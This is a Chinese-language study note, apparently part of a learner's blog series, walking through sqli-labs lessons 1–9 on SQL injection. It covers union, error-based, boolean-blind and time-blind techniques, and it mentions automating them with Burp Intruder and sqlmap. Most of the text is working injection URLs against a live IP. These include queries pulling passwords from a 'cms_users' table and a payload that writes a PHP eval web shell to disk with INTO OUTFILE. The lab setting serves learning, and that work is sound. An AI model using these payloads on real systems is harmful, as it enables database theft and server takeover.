【CyberSecurityLearning 56】自动化注入
目錄
自動(dòng)化注入
半自動(dòng)化注入
全自動(dòng)注入
sqli-labs題庫(kù)
Less-01
Less-02
Less-03
Less-04
Less-05
如果輸出結(jié)果顯示不全怎么辦?
Less-06
Less-07
Less-08
Less-09
?
自動(dòng)化注入
半自動(dòng)化注入
burp
全自動(dòng)注入
首推:sqlmap
其他:穿山甲/明小子/胡蘿卜等
定制化腳本
?
sqli-labs題庫(kù)
Less-01
1、嘗試改變id參數(shù),結(jié)果是頁(yè)面發(fā)生改變(說明數(shù)據(jù)庫(kù)中的內(nèi)容會(huì)回顯到網(wǎng)頁(yè)),首選的辦法是聯(lián)合查詢
2、通過加單引號(hào),判斷是數(shù)字型注入還是字符型注入(發(fā)現(xiàn)是字符型注入,閉合方式是單引號(hào))
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
1后面有其他SQL語句,為了防止后面SQL語句的影響,我們可以把后面注入掉(--+),如果是井號(hào)(在url中我們需要把#進(jìn)行url編碼變?yōu)?23)
3、and 1=1,and1=2,兩次頁(yè)面狀態(tài)不同(有布爾類型狀態(tài))
4、and sleep(5)? (有延時(shí))【sleep語句我們不要管頁(yè)面顯示什么,我們判斷依據(jù)是時(shí)間線】
5、我們做聯(lián)合查詢,把前面的那條SQL語句置為假(and 1=2)
http://42.192.43.56/sqli-labs/Less-1/?id=1'? and 1=2 union select 1,version(),3 --+? (做到version就行,因?yàn)槲覀兡塬@得數(shù)據(jù)庫(kù)中的敏感信息了)
Less-02
1、嘗試改變id參數(shù),結(jié)果是頁(yè)面發(fā)生改變(說明數(shù)據(jù)庫(kù)中的內(nèi)容會(huì)回顯到網(wǎng)頁(yè)),首選的辦法是聯(lián)合查詢
2、通過加單引號(hào),判斷是數(shù)字型注入還是字符型注入(數(shù)字型注入,我們提交的2沒有顯示到頁(yè)面,閉合方式?jīng)]有)
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
3、直接用union select判斷有多少個(gè)列就行
http://42.192.43.56/sqli-labs/Less-2/?id=-2 union select 1,2,database()
Less-03
1、嘗試改變id參數(shù),結(jié)果是頁(yè)面發(fā)生改變(說明數(shù)據(jù)庫(kù)中的內(nèi)容會(huì)回顯到網(wǎng)頁(yè)),首選的辦法是聯(lián)合查詢
2、通過加單引號(hào),判斷是數(shù)字型注入還是字符型注入(字符型注入,因?yàn)樘峤坏膮?shù)3顯示到頁(yè)面中來了,閉合方式單引號(hào)加一個(gè)右半括號(hào))
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3'') LIMIT 0,1' at line 1
3、我要要想閉合之前的字符串的定義,我們要在2后面添加一個(gè)單引號(hào)和右半括號(hào),如何把后面--+閉合掉
http://42.192.43.56/sqli-labs/Less-3/?id=3') --+
實(shí)際上SQL語句變成了:......'3')--+') LIMIT 0,1
4、http://42.192.43.56/sqli-labs/Less-3/?id=3') and 1=2 union select 1,2,version()--+
?
Less-04
1、嘗試改變id參數(shù),結(jié)果是頁(yè)面發(fā)生改變(說明數(shù)據(jù)庫(kù)中的內(nèi)容會(huì)回顯到網(wǎng)頁(yè)),首選的辦法是聯(lián)合查詢
2、通過加單引號(hào),判斷是數(shù)字型注入還是字符型注入(發(fā)現(xiàn)沒反應(yīng))
???? 改用雙引號(hào)測(cè)試一下(注意是雙引號(hào),不是兩個(gè)單引號(hào)),字符型注入,閉合方式是"),把后面--+注釋掉
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1
3、http://42.192.43.56/sqli-labs/Less-4/?id=2") and 1=2 union select 1,2,@@datadir--+
?
Less-05
1、輸入id=1和id=2,頁(yè)面顯示一樣
2、輸入一個(gè)單引號(hào)(字符型注入,閉合方式是單引號(hào))
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''2'' LIMIT 0,1' at line 1
3、沒有回顯,有報(bào)錯(cuò),字符型注入,閉合方式單引號(hào),使用報(bào)錯(cuò)注入
4、42.192.43.56/sqli-labs/Less-5/?id=2' and updatexml(1,concat(0x5e,version(),0x5e),1) --+
如果輸出結(jié)果顯示不全怎么辦?
我們先取出前十六位:
http://42.192.43.56/cms/show.php?id=33 and updatexml(1,concat(0x5e,substr((select password from cms_users ),1,16),0x5e),1)
再取后16位
http://42.192.43.56/cms/show.php?id=33 and updatexml(1,concat(0x5e,substr((select password from cms_users ),17),0x5e),1)
再拼接起來
?
Less-06
1、輸入id=1和id=2,頁(yè)面顯示一樣
2、輸入一個(gè)單引號(hào)(沒反應(yīng)),再提交一個(gè)雙引號(hào)(字符型注入,閉合方式是雙引號(hào))
沒有回顯有報(bào)錯(cuò),字符型,雙引號(hào)閉合
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1
--+閉合后和諧
3、http://42.192.43.56/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x5e,(select version()),0x5e),1)--+
?
Less-07
1、輸入id=1和id=2,頁(yè)面顯示一樣
2、輸入單引號(hào)測(cè)試(沒有報(bào)錯(cuò)信息)
You have an error in your SQL syntax
3、and 1=1 /? and 1=2
沒有回顯,沒有報(bào)錯(cuò)
我們代碼審計(jì)一下
可以看到閉合方式是'))
4、字符型注入
http://42.192.43.56/sqli-labs/Less-7/?id=2'))--+
5、讀寫文件
http://42.192.43.56/sqli-labs/Less-7/?id=2')) union select 1,"<?php @eval(\$_REQUEST[777])?>",3 into outfile "D:\\phpStudy\\WWW\\1.php"--+
into outfile 是我們把內(nèi)容導(dǎo)入到1.php這個(gè)文件中去(其實(shí)那個(gè)$轉(zhuǎn)義不轉(zhuǎn)義都行,建議轉(zhuǎn)義,只要$出現(xiàn)在引號(hào)里面并且是作為普通字符串輸出,就轉(zhuǎn)義)
寫文件成功
打開1.php? 發(fā)現(xiàn)所要信息
?
Less-08
1、輸入id=1和id=2,頁(yè)面顯示一樣
2、輸入單引號(hào)測(cè)試,啥都沒有
沒有回顯,沒有報(bào)錯(cuò)
添加一個(gè)雙引號(hào):You are in...(你用雙引號(hào)顯示You are in...說明雙引號(hào)必定不是閉合方式,考慮是單引號(hào)閉合)
3、--+閉合——和諧
4、and 1=1和and 1=2頁(yè)面狀態(tài)不一樣,有布爾類型狀態(tài),考慮布爾盲注,屬于字符型注入,閉合方式是單引號(hào)
用bp進(jìn)行半自動(dòng)化注入(抓包后發(fā)到intruder模塊)
數(shù)據(jù)庫(kù)的長(zhǎng)度1在變,我們把1用$引起來,選擇payload,選擇一個(gè)字典,點(diǎn)擊“ann from list”選擇0-9
得到數(shù)據(jù)庫(kù)名的長(zhǎng)度 8
*獲取數(shù)據(jù)庫(kù)名
?id=2' and ascii(substr(database(),1,1))=1--+
攻擊類型選擇集束炸彈(cluster bomb)
字典
第一個(gè)變量1-8
第二個(gè)變量1-128
start attack
??
?
代碼審計(jì)一下
?
?
Less-09
1、輸入id=1和id=2,頁(yè)面顯示一樣
2、輸入單雙引號(hào)測(cè)試,都是You are in.....
沒有回顯
3、沒有布爾類型狀態(tài)
4、id后加單引號(hào),加sleep起作用,說明是字符型注入,閉合方式單引號(hào)
沒有回顯,沒有報(bào)錯(cuò),沒有布爾類型狀態(tài),有延時(shí)
http://42.192.43.56/sqli-labs/Less-8/?id=2' and if(length(database())=1,sleep(5),1)--+
5、抓包,添加變量
*獲取數(shù)據(jù)庫(kù)名
字典
變量1:1-8
變量2:1-128
獲取成功
?
?
總結(jié)
以上是生活随笔為你收集整理的【CyberSecurityLearning 56】自动化注入的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 作者:桑健(1989-),男,中国科学院
- 下一篇: 混凝土泵送机械大数据挖掘与应用